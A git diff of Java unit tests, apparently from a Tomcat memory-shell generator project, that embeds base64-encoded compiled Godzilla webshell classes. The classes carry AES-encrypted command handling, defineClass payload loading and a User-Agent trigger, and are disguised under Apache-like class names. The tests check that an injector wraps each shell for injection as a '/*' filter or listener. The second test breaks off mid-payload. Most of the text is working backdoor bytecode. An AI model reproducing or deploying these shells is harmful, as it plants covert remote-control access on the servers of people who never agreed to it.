@@ -31,11 +30,22 @@ class InjectorGeneratorTest { assertEquals("/*", ClassUtils.invokeMethod(obj, "getUrlPattern", null, null).toString()); assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""), ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); + System.out.println(Base64.encodeBase64String(bytes)); + } -// Object filter = ClassUtils.invokeMethod(obj, "getFilter", new Class[]{Object.class}, new Object[]{null}); -// assertEquals(shellClassName, filter.getClass().getName()); -// -// FileUtil.writeFile("InjectUtil.class", bytes); + @Test + @SneakyThrows + void generateJakarta() { + byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBMgoARQCbCgBFAJwKAEUAnQgAngoAnwCgBwChCQAaAKIKAD4AowoABgCkCgCfAKUKAJ8ApgcApwcAqAcAqQkAGgCqCwANAKsJABoArAoAPgCtCwANAK4JABoArwsADQCwCgAaALEKABoAsggAswsAtAC1BwC2CgA9ALcKACQAuAoAGgCcCgAaALkLALQAuggAuwsADQC6BwC8CgAiAJsHAL0KACQAvgcAvwcAwAcAwQoAKADCCgA9AMMLAA4AxAkAGgDFCgA+AMYKAMcAyAoAPQDJCgAiAMoKABoAywoAPgDMCwDNAM4IAM8KACQA0AgA0QcA0goAJADTBwDUCgDVANYIANcHAFoHANgHANkIANoIANsIANwIAN0IAN4IAN8HAOAHAOEBAANrZXkBABJMamF2YS9sYW5nL1N0cmluZzsBAARwYXNzAQADbWQ1AQAKaGVhZGVyTmFtZQEAC2hlYWRlclZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAERMY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFKYWthcnRhRmlsdGVyOwEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQABegEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQACW0IBAAlTaWduYXR1cmUBABgoW0IpTGphdmEvbGFuZy9DbGFzczwqPjsBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAR2YXI0AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQABcwEAAW0BAAFaAQANU3RhY2tNYXBUYWJsZQcAtgcA4gcApwEACGRvRmlsdGVyAQBhKExqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGpha2FydGEvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAAWYBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAoTGphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uOwEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAdzZXNzaW9uAQAiTGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEABGRhdGEBAA5zZXJ2bGV0UmVxdWVzdAEAIExqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAhTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAFY2hhaW4BAB1MamFrYXJ0YS9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAB3JlcXVlc3QBAClMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAqTGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7BwDjBwDkBwDlBwCoBwCpBwDmBwC8BwDnBwDYAQAKRXhjZXB0aW9ucwcA6AcA6QEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdlbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAR2YXI2AQACYnMBAAV2YWx1ZQEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo+OwcA2QEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAKU291cmNlRmlsZQEAGkdvZHppbGxhSmFrYXJ0YUZpbHRlci5qYXZhDABNAE4MAE0AVAwA6gDrAQADQUVTBwDiDADsAO0BAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABHAEgMAO4A7wwATQDwDADxAPIMAPMA9AEAE2phdmEvbGFuZy9FeGNlcHRpb24BACdqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAChqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDABLAEgMAPUA9gwATABIDAD3APgMAPkA+gwASQBIDAD7APYMAJYAlwwAXQBeAQAHcGF5bG9hZAcA5gwA/AD9AQBCY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFKYWthcnRhRmlsdGVyDAD+AP8MAQABAQwAVwBYDAECAQMBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BAA9qYXZhL2xhbmcvQ2xhc3MMAQQBBQEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwATQEGDAEHAQgMAQkBCgwASgBIDAELAQwHAQ0MAQ4BDwwBEAERDAESAO8MAIsAjAwBCwETBwDlDABqARQBABBqYXZhLnV0aWwuQmFzZTY0DAEVARYBAApnZXRFbmNvZGVyAQASW0xqYXZhL2xhbmcvQ2xhc3M7DAEXARgBABNbTGphdmEvbGFuZy9PYmplY3Q7BwEZDAEaARsBAA5lbmNvZGVUb1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAWc3VuLm1pc2MuQkFTRTY0RW5jb2RlcgEABmVuY29kZQEACmdldERlY29kZXIBAAZkZWNvZGUBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyAQAMZGVjb2RlQnVmZmVyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAWamFrYXJ0YS9zZXJ2bGV0L0ZpbHRlcgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAbamFrYXJ0YS9zZXJ2bGV0L0ZpbHRlckNoYWluAQAgamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BACZqYXZhL2xhbmcvUmVmbGVjdGl2ZU9wZXJhdGlvbkV4Y2VwdGlvbgEAIGpha2FydGEvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEACmdldFNlc3Npb24BACQoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9CeXRlQXJyYXkBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZs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"); + String shellClassName = "org.apache.utils.CommonJakartaFilter"; + String injectClassName = this.getClass().getName() + "2"; + byte[] bytes = injectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassName, shellBytes, "/*"); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(injectClassName, obj.getClass().getName()); + assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); + assertEquals("/*", ClassUtils.invokeMethod(obj, "getUrlPattern", null, null).toString()); + assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""), + ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); System.out.println(Base64.encodeBase64String(bytes)); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java new file mode 100644 index 00000000..f9549c85 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java @@ -0,0 +1,49 @@ +package com.reajason.javaweb.memsell.tomcat.injector; + +import com.reajason.javaweb.memsell.InjectorGenerator; +import com.reajason.javaweb.util.ClassUtils; +import com.reajason.javaweb.util.CommonUtil; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +class TomcatListenerInjectorTest { + + InjectorGenerator injectorGenerator = new InjectorGenerator(); + + @Test + @SneakyThrows + void generate() { + byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBSAoATAClCgBMAKYKAAQApwcAqAoAEwCpBwCqCgATAKsKAAYArAoArQCuCgCtAK8IALAKABMAsQgAsgcAswoAEwC0BwC1CgC2ALcIALgHALkHAHcHALoHALsIALwKABMAvQgAvggAvwgAwAgAwQgAwgoATADDCADECgDFAMYHAMcJADUAyAoAFQDJCgAhAMoKAMUAywoAxQDMCgDNAM4HAM8JADUA0AsAKADRCQA1ANIKABUA0woANQDUCwAoANUJADUA1gsAKADXCgA1ANgKADUA2QgA2gsA2wDcBwDdCgATAN4KADUApgoANQDfCwDbAOAIAOELACgA4AcA4goAPAClCgAEAOMLAEsA5AkANQDlCgAVAOYKAOcA6AoABADpCgA8AOoKADUA6woAFQDsCwBLAO0IAJoKADUA7ggAlQcA7wcA8AcA8QEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAP0xjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYUxpc3RlbmVyOwEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQABegEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAEdmFyNQEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEbmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBAA1TdGFja01hcFRhYmxlBwDyBwC5BwCqAQAKRXhjZXB0aW9ucwEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdlbmNvZGVyAQAGYmFzZTY0AQAEdmFyNgEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAAmJzAQACW0IBAAV2YWx1ZQcAugcAuwEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQAJU2lnbmF0dXJlAQAYKFtCKUxqYXZhL2xhbmcvQ2xhc3M8Kj47AQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEdmFyNAEAAXMBAAFtAQABWgcA3QcA8wEAEHJlcXVlc3REZXN0cm95ZWQBACYoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudDspVgEAE3NlcnZsZXRSZXF1ZXN0RXZlbnQBACNMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OwEAEnJlcXVlc3RJbml0aWFsaXplZAEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAFmAQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHc2Vzc2lvbgEAIExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAEZGF0YQEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsHAPQHAM8HAO8HAPUBABZnZXRSZXNwb25zZUZyb21SZXF1ZXN0AQBRKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQABZQEAClNvdXJjZUZpbGUBABVHb2R6aWxsYUxpc3RlbmVyLmphdmEMAFQAVQwAVABbDAD2APcBABBqYXZhL2xhbmcvT2JqZWN0DAD4APkBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAPoA9wwAVAD7BwDyDAD8AP0MAP4A/wEAEGphdmEudXRpbC5CYXNlNjQMAQABAQEACmdldEVuY29kZXIBABJbTGphdmEvbGFuZy9DbGFzczsMAQIBAwEAE1tMamF2YS9sYW5nL09iamVjdDsHAQQMAQUBBgEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAEHAQgBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBCQEKAQADQUVTBwDzDAELAQwBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABRAE8MAQ0BDgwAVAEPDAEQAREMARIBEwcA9AwBFAEVAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwAUgBPDAEWARcMAFMATwwBGAEZDACgAKEMARoBGwwAUABPDAEcARcMAHsAfAwAgwCEAQAHcGF5bG9hZAcA9QwBHQEeAQA9Y29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFMaXN0ZW5lcgwBHwEgDAB+AH8MASEBIgEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBIwEkDAElASYMAE4ATwwBJwEoBwEpDAEqAPsMASsBLAwBLQEODABwAHEMAScBLgwBLwBVDABeAF8BACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAJGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RMaXN0ZW5lcgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAIWphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudAEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABihbQilbQgEAEWdldFNlcnZsZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAt0b0J5dGVBcnJheQEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC2ZsdXNoQnVmZmVyAQAfb3JnL2FwYWNoZS91dGlscy9Db21tb25MaXN0ZW5lcgcBMAgAUAkBMQDWAQAQM2M2ZTBiOGE5YzE1MjI0YQgBNAkBMQDIAQAgMTFDRDZBODc1ODk4NDE2MzZDMzdBQzgyNkEyQTA0QkMIATcJATEA5QEAClVzZXItQWdlbnQIAToJATEA0AEABHRlc3QIAT0JATEA0gEAIUxvcmcvYXBhY2hlL3V0aWxzL0NvbW1vbkxpc3RlbmVyOwoBMQDUCgExANgKATEA2QoBMQCmCgExAN8KATEA6woBMQDuACEBMQBMAAEATQAFAAEATgBPAAAAAQBQAE8AAAABAFEATwAAAAEAUgBPAAAAAQBTAE8AAAAKAAEAVABVAAEAVgAAADQAAgABAAAAKCq3AAEqEwEytQEzKhMBNbUBNioTATi1ATkqEwE7tQE8KhMBPrUBP7EAAAAAAAEAVABbAAEAVgAAADUAAgACAAAAKSortwACKhMBMrUBMyoTATW1ATYqEwE4tQE5KhMBO7UBPCoTAT61AT+xAAAAAAApAF4AXwACAFYAAADnAAMABQAAADgBTSq2AANOLRIEpQAWLSu2AAVNpwANOgQttgAHTqf/6izHAAy7AG5ZK7cACL8sBLYACSwqtgAKsAABAA0AEwAWAG4ABABrAAAAEQAE/QAHBwCtBwBtTgcAbgkMAFcAAAAyAAwAAAAgAAIAIQAHACIADQAkABMAJQAWACYAGAAnAB0AKAAgACoAJAArAC0ALQAyAC4AWAAAADQABQAYAAUAYABhAAQAAAA4AGIAYwAAAAAAOABkAE8AAQACADYAZQBmAAIABwAxAGcAaAADAGkAAAAMAAEABwAxAGcAagADAG8AAAAEAAEAegAJAHAAcQACAFYAAAFlAAYABQAAAHgBTBILuAAMTSwSDQHAAA62AA8sAcAAELYAEU4ttgADEhIEvQBtWQMSFFO2AA8tBL0ABFkDKlO2ABHAAHlMpwA5ThIXuAAMTSy2ABg6BBkEtgADEhkEvQBtWQMSFFO2AA8ZBAS9AARZAypTtgARwAB5TKcABToEK7AAAgACAD0AQAB6AEEAcQB0AHoABABrAAAAKQAD/wBAAAIHABQHAHkAAQcAev8AMwAEBwAUBwB5AAcAegABBwB6+QABAFcAAAAyAAwAAAA0AAIANwAIADgAGwA5AD0AQQBAADoAQQA8AEcAPQBNAD4AcQBAAHQAPwB2AEIAWAAAAEgABwAbACIAcgBjAAMACAA4AHMAaAACAE0AJAByAGMABABHAC0AcwBoAAIAQQA1AHQAdQADAAAAeAB2AHcAAAACAHYAeABPAAEAaQAAABYAAgAIADgAcwBqAAIARwAtAHMAagACAG8AAAAEAAEAegAJAHsAfAABAFY